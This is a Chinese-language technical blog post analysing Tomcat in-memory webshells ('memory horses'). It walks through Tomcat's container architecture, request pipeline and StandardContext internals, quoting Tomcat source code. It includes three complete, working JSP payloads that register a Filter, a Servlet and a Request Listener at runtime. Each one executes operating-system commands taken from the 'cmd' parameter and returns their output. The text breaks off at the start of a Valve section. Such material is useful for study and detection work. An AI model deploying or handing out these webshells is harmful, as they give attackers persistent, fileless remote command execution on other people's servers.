浅析Tomcat内存马
Web应用 初始化流程
部署描述文件中由<listener>
元素标记的事件监听器会被创建和初始化,事件监听器如果实现了ServletContextListener
接口,将会调用其实现的contextInitialized()
方法
部署描述文件中由<filter>
元素标记的过滤器会被创建和初始化,并调用其init()
方法,每一次请求时都只调用doFilter()
方法进行处理
部署描述文件中由<servlet>
元素标记的Servlet
会根据<load-on-startup>
的权值按顺序创建和初始化,并调用其init()
方法,Servlet
一旦被装入到Web容器之后,一般会长久驻留,直到Web容器停止运行或重新装入Servlet
时结束生命周期,Servlet
在第一次访问之后都只调用doGet()
或doPost()
方法
Tomcat Tomcat体系结构
Server :表示一个Tomcat实例(单例),即整个catalina servlet容器,主要是用来管理容器下各个Serivce组件的生命周期
Service :一组提供服务、处理请求的组件,将一组Connector组件和Engine关联了起来
Connector :客户端连接到Tomcat容器的服务点,它为Engine提供协议服务,并根据Engine与客户端通讯的协议类型进行隔离,如HTTP、HTTPS、AJP协议
Container :Container是容器的父接口,用于封装和管理Servlet,以及处理Request请求,它包含了四大请求处理组件:Engine、Host、Context和Wrapper
Engine :Service中的请求处理组件,包含了Servlet容器的核心功能,主要负责将传入请求委托给适当的Host处理
Host :虚拟主机,每个Host会与某个网络域名相匹配,负责运行多个Web Application,每个Web Application对应一个Context,负责将收到的请求匹配到对应的Context,匹配的方法为“最长匹配”
Context :一个Contenxt代表一个Web Application,具备了Servlet运行的基本环境
Wrapper :最底层的容器,一个Wrapper代表一个Servlet,负责Servlet的装载、初始化、执行和资源回收
Tomcat组件关系
一个Server包含一个或多个Service
一个Service包含多个Connector和一个Container
一个Container只能包含一个Engine
一个Engine包含一个或多个Host
一个Host包含一个或多个Web Application
一个Context表示一个运行着Tomcat实例的Web Application
一个Web Application包含一个或多个Wrapper
一个Wrapper表示一个Servlet
Engine、Host、Context和Wrapper是显现了Container接口的容器
Tomcat执行流程 客户端和服务端交互过程
请求数据流图
Pipeline调用链
Connector
在某个指定的端口上来监听客户端发来的请求
Connector
使用ProtocolHandler
处理器处理收到的请求,ProtocolHandler
处理器共有三个组件
Endpoint
负责接受,处理socket
网络连接(Executor
提供多线程操作)
Processor
根据协议类型封装成Request
Adapter
负责将封装好的Request
交给Container
进行处理
Container
使用Pipeline-valve
管道处理请求,每个 Pipeline
都有一个最后执行的、不可删除的 BasicValve
,通常命名为Standard(xxx)Valve
,如上图所示,上层容器valve
调用下层valve
形成链式结构
EnginePipeline
:EngineValve1
-> … ->StandardEngineValve
HostPipeline
:HostValve1
-> … ->StandardHostValve
ContextPipeline
:ContextValve1
-> … ->StandardContextValve
WrapperPipeline
:WrapperValve1
-> … ->StandardWrapperValve
创建FilterChain
,如果一个URL
对应多个Filter
则进行链式调用
最终由Servlet
处理请求,并将处理的结果返回给Connector
Connector
把响应回传给客户端
StandardContext StandardContext
是Context
的实现类,涵盖了Web Application
的启动流程,包括使用WebResourceRoot
加载资源文件、利用Loader
加载class
,使用JarScanner
扫描,实例化Sesssion
管理器,初始化各种Listener
、Filter
和Servlet
等功能
以下讲到的内存马都是基于修改StandardContext
实现的,所以如何获取StandardContext
也是内存马实现的重点之一
获取方法
目前StandardContext
获取的方式有以下几种:
从request
对象反射出ApplicationContext
,再反射出StandardContext
1 2 3 4 5 6 7 8 9 ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
从ThreadLocal
中获取request
Tomcat 7、8、9
参考**@threedr3am**师傅的文章
从ContextClassLoader
中获取
Tomcat 8、9
1 2 3 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
遍历thread
数组获取包含StandardContext
的类,其中Acceptor
为全版本tomcat
都有
Tomcat 6、7、8、9
参考**@bitterz**师傅的文章 ,比如下面方法就能够拿到/manager
下的StandardContext
1 2 3 4 5 Thread[] threads = (Thread[]) this .getField(Thread.currentThread().getThreadGroup(), "threads" ); threads[3 ] ==> Thread[ContainerBackgroundProcessor[StandardEngine[Catalina]],5 ,main] threads[3 ].target.this $0. children.values.toArray()[0 ].children.get("/manager" )
Filter内存马 FilterChain 前面提到,当StandardWrapperValve
执行完后就会创建FilterChain
,所以FilterChain
的入口位于org/apache/catalina/core/StandardWrapperValve.java#invoke
函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.apache.catalina.core;final class StandardWrapperValve extends ValveBase { @Override public final void invoke (Request request, Response response) throws IOException, ServletException { ... MessageBytes requestPathMB = request.getRequestPathMB(); DispatcherType dispatcherType = DispatcherType.REQUEST; if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC; request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType); request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR, requestPathMB); ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package org.apache.catalina.core;public final class ApplicationFilterFactory { public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null ) return null ; ApplicationFilterChain filterChain = null ; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); if ((filterMaps == null ) || (filterMaps.length == 0 )) return filterChain; DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null ; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null ){ requestPath = attribute.toString(); } String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersURL(filterMap, requestPath)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersServlet(filterMap, servletName)) continue ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } return filterChain; }
再次回到StandardWrapperValve
的invoke()
函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package org.apache.catalina.core;final class StandardWrapperValve extends ValveBase { @Override public final void invoke (Request request, Response response) throws IOException, ServletException { ... MessageBytes requestPathMB = request.getRequestPathMB(); DispatcherType dispatcherType = DispatcherType.REQUEST; if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC; request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType); request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR, requestPathMB); ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); try { if ((servlet != null ) && (filterChain != null )) { if (context.getSwallowOutput()) { try { SystemLogHandler.startCapture(); if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); } else { filterChain.doFilter(request.getRequest(), response.getResponse()); } } finally { String log = SystemLogHandler.stopCapture(); if (log != null && log.length() > 0 ) { context.getLogger().info(log); } } } else { if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); } else { filterChain.doFilter (request.getRequest(), response.getResponse()); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.apache.catalina.core;public final class ApplicationFilterChain implements FilterChain { @Override public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( new java .security.PrivilegedExceptionAction<Void>() { @Override public Void run () throws ServletException, IOException { internalDoFilter(req,res); return null ; } } ); } catch ( PrivilegedActionException pe) { Exception e = pe.getException(); if (e instanceof ServletException) throw (ServletException) e; else if (e instanceof IOException) throw (IOException) e; else if (e instanceof RuntimeException) throw (RuntimeException) e; else throw new ServletException (e.getMessage(), e); } } else { internalDoFilter(request,response); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package org.apache.catalina.core;public final class ApplicationFilterChain implements FilterChain { private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res, this }; SecurityUtil.doAsPrivilege ("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException (sm.getString("filterChain.filter" ), e); } return ; } try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } if (request.isAsyncSupported() && !servletSupportsAsync) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ((request instanceof HttpServletRequest) && (response instanceof HttpServletResponse) && Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res}; SecurityUtil.doAsPrivilege("service" , servlet, classTypeUsedInService, args, principal); } else { servlet.service(request, response); } } }
总结
想要注入一个filter
内存马,核心在篡改StandardContext
中的filterMaps
属性来绕过dispatcher
和requestPath
,然后把filterConfig
注入到StandardContext
的filterConfigs
属性中即可
filterMaps
需要包含对应的dispatcherMapping
、filterName
和urlPatterns
filterConfig
中的filterDef
需要包含对应的filter
、filterClass
和filterName
Filter内存马实例
一定要先修改filterDef,再修改filterMap,不然会抛出找不到filterName的异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.Map" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddFilter</title> </head> <body> <% Field Configs = null ; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); filterConfigs = (Map) Configs.get(standardContext); String FilterName = "CmdFilter" ; if (filterConfigs.get(FilterName) == null ) { Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) {} @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ) { InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd" )).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; servletResponse.getWriter().write(output); PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy () {} }; Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef" ); Constructor declaredConstructor1 = FilterDef.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterDef filterDef = (FilterDef) declaredConstructor1.newInstance(); filterDef.setFilter(filter); filterDef.setFilterName(FilterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap" ); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) declaredConstructor.newInstance(); filterMap.addURLPattern("/*" ); filterMap.setFilterName(FilterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap); Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig" ); Constructor<?> declaredConstructor2 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class); declaredConstructor2.setAccessible(true ); org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor2.newInstance(standardContext, filterDef); filterConfigs.put(FilterName, filterConfig); response.getWriter().write("Success" ); } } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
Servlet内存马 loadOnStartup 在StanderContext
的初始化过程中,在配置完filter
之后就会调用loadOnStartup()
方法来初始化servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { @Override protected synchronized void startInternal () throws LifecycleException { ... if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } ...
1 2 3 4 5 6 7 8 9 10 11 package org.apache.catalina.core;public abstract class ContainerBase extends LifecycleMBeanBase implements Container { @Override public Container[] findChildren() { synchronized (children) { Container results[] = new Container [children.size()]; return children.values().toArray(results); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); } catch (ServletException e) { getLogger().error(sm.getString("standardContext.loadOnStartup.loadException" , getName(), wrapper.getName()), StandardWrapper.getRootCause(e)); if (getComputedFailCtxIfServletStartFails()) { return false ; } } } } return true ; }
所以这里的重点是修改children
属性加入我们的wrapper
,向上追溯如何生成children
,我们可以来到解析web.xml
的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.apache.catalina.startup;public class ContextConfig implements LifecycleListener { private void configureContext (WebXml webxml) { ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null ) { long maxFileSize = -1 ; long maxRequestSize = -1 ; int fileSizeThreshold = 0 ; if (null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if (null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if (null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement ( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null ) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } ...
addChild()
方法会调用父类的addChildInternal()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package org.apache.catalina.core;public abstract class ContainerBase extends LifecycleMBeanBase implements Container { private void addChildInternal (Container child) { if ( log.isDebugEnabled() ) log.debug("Add child " + child + " " + this ); synchronized (children) { if (children.get(child.getName()) != null ) throw new IllegalArgumentException ("addChild: Child name '" + child.getName() + "' is not unique" ); child.setParent(this ); children.put(child.getName(), child); } try { if ((getState().isAvailable() || LifecycleState.STARTING_PREP.equals(getState())) && startChildren) { child.start(); } } catch (LifecycleException e) { log.error("ContainerBase.addChild: start: " , e); throw new IllegalStateException ("ContainerBase.addChild: start: " + e); } finally { fireContainerEvent(ADD_CHILD_EVENT, child); } }
同时需要注意在解析web.xml
时,还会将解析到WebServlet
添加到context
的servletMappingNames
属性中,来添加URL
匹配规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.apache.catalina.startup;public class ContextConfig implements LifecycleListener { protected void processClass (WebXml fragment, JavaClass clazz) { AnnotationEntry[] annotationsEntries = clazz.getAnnotationEntries(); if (annotationsEntries != null ) { String className = clazz.getClassName(); for (AnnotationEntry ae : annotationsEntries) { String type = ae.getAnnotationType(); if ("Ljavax/servlet/annotation/WebServlet;" .equals(type)) { processAnnotationWebServlet(className, ae, fragment); }else if ("Ljavax/servlet/annotation/WebFilter;" .equals(type)) { processAnnotationWebFilter(className, ae, fragment); }else if ("Ljavax/servlet/annotation/WebListener;" .equals(type)) { fragment.addListener(className); } else { } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.apache.catalina.startup;public class ContextConfig implements LifecycleListener { package org.apache.catalina.startup;protected void processAnnotationWebServlet (String className, AnnotationEntry ae, WebXml fragment) { ... if (urlPatterns != null ) { if (!fragment.getServletMappings().containsValue(servletName)) { for (String urlPattern : urlPatterns) { fragment.addServletMapping(urlPattern, servletName); } } } ...
1 2 3 4 5 6 7 8 9 10 11 12 package org.apache.tomcat.util.descriptor.web;public class WebXml extends XmlEncodingBase implements DocumentProperties .Encoding, public void addServletMappingDecoded (String urlPattern, String servletName) { String oldServletName = servletMappings.put(urlPattern, servletName); if (oldServletName != null ) { throw new IllegalArgumentException (sm.getString( "webXml.duplicateServletMapping" , oldServletName, servletName, urlPattern)); } servletMappingNames.add(servletName); }
总结
在StandardContext
的children
属性中加入我们定义的wrapper
在servletMappingNames
属性中加入我们的servlet
映射
设置servlet
的loadOnStartup
属性值大于0
Servlet内存马实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddServlet</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String servletURL = "/cmdServlet" ; String servletName = "CmdServlet" ; Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { String cmd = servletRequest.getParameter("cmd" ); if ("cmd" != null ) { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(servletName); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setLoadOnStartup(1 ); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(servletURL, servletName); response.getWriter().write("Success" ); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
Listener内存马 Listener分类
Listener
的种类有很多,但是有些不适用于作为内存马,比如ServletContextListener
需要涉及到启动和停止服务器,HttpSessionListener
需要设计session
的创建和销毁,而ServletRequestListener
只涉及到当前请求,所以最适合做内存马的是ServletRequestListener
listenerStart 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { @Override protected synchronized void startInternal () throws LifecycleException { ... if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } ...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { public boolean listenerStart () { if (log.isDebugEnabled()) log.debug("Configuring application event listeners" ); String listeners[] = findApplicationListeners(); Object results[] = new Object [listeners.length]; boolean ok = true ; for (int i = 0 ; i < results.length; i++) { if (getLogger().isDebugEnabled()) getLogger().debug(" Configuring event listener class '" + listeners[i] + "'" ); try { String listener = listeners[i]; results[i] = getInstanceManager().newInstance(listener); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.applicationListener" , listeners[i]), t); ok = false ; } } if (!ok) { getLogger().error(sm.getString("standardContext.applicationSkipped" )); return false ; } List<Object> eventListeners = new ArrayList <>(); List<Object> lifecycleListeners = new ArrayList <>(); for (Object result : results) { if ((result instanceof ServletContextAttributeListener) || (result instanceof ServletRequestAttributeListener) || (result instanceof ServletRequestListener) || (result instanceof HttpSessionIdListener) || (result instanceof HttpSessionAttributeListener)) { eventListeners.add(result); } if ((result instanceof ServletContextListener) || (result instanceof HttpSessionListener)) { lifecycleListeners.add(result); } } eventListeners.addAll(Arrays.asList(getApplicationEventListeners())); setApplicationEventListeners(eventListeners.toArray()); for (Object lifecycleListener: getApplicationLifecycleListeners()) { lifecycleListeners.add(lifecycleListener); if (lifecycleListener instanceof ServletContextListener) { noPluggabilityListeners.add(lifecycleListener); } } setApplicationLifecycleListeners(lifecycleListeners.toArray()); if (getLogger().isDebugEnabled()) getLogger().debug("Sending application start events" ); getServletContext(); context.setNewServletContextListenerAllowed(false ); Object instances[] = getApplicationLifecycleListeners(); if (instances == null || instances.length == 0 ) { return ok; } ServletContextEvent event = new ServletContextEvent (getServletContext()); ServletContextEvent tldEvent = null ; if (noPluggabilityListeners.size() > 0 ) { noPluggabilityServletContext = new NoPluggabilityServletContext (getServletContext()); tldEvent = new ServletContextEvent (noPluggabilityServletContext); } for (Object instance : instances) { if (!(instance instanceof ServletContextListener)) { continue ; } ServletContextListener listener = (ServletContextListener) instance; try { fireContainerEvent("beforeContextInitialized" , listener); if (noPluggabilityListeners.contains(listener)) { listener.contextInitialized(tldEvent); } else { listener.contextInitialized(event); } fireContainerEvent("afterContextInitialized" , listener); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); fireContainerEvent("afterContextInitialized" , listener); getLogger().error(sm.getString("standardContext.listenerStart" , instance.getClass().getName()), t); ok = false ; } } return ok; }
所以这里的重点在于我们怎么把Linstener
添加到applicationListeners
属性中,通过属性调用找到了addApplicationListener()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.apache.catalina.core;public class StandardContext extends ContainerBase implements Context , NotificationEmitter { @Override public void addApplicationListener (String listener) { synchronized (applicationListenersLock) { String results[] = new String [applicationListeners.length + 1 ]; for (int i = 0 ; i < applicationListeners.length; i++) { if (listener.equals(applicationListeners[i])) { log.info(sm.getString("standardContext.duplicateListener" ,listener)); return ; } results[i] = applicationListeners[i]; } results[applicationListeners.length] = listener; applicationListeners = results; } fireContainerEvent("addApplicationListener" , listener); }
总结
直接调用addApplicationListener
将我们的Listener
添加到StandardContext
的applicationListeners
属性中
Listener内存马实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddLinstener</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); ServletRequestListener listener = new ServletRequestListener () { @Override public void requestDestroyed (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd" ); if (cmd != null ){ try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request)requestF.get(req); PrintWriter out= request.getResponse().getWriter(); out.println(output); out.flush(); out.close(); } catch (Exception e) {} } } @Override public void requestInitialized (ServletRequestEvent sre) {} }; standardContext.addApplicationEventListener(listener); response.getWriter().write("Success" ); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
Valve内存马 Pineline 在上面的Tomcat执行流程中讲到过Pineline
的调用链,每一层的valve
都会顺序调用,上层的valve
会调用下层的valve
,然后每次调用valve
的invoke()
方法
比如在StandardHostValve
类中是这样调用vavle
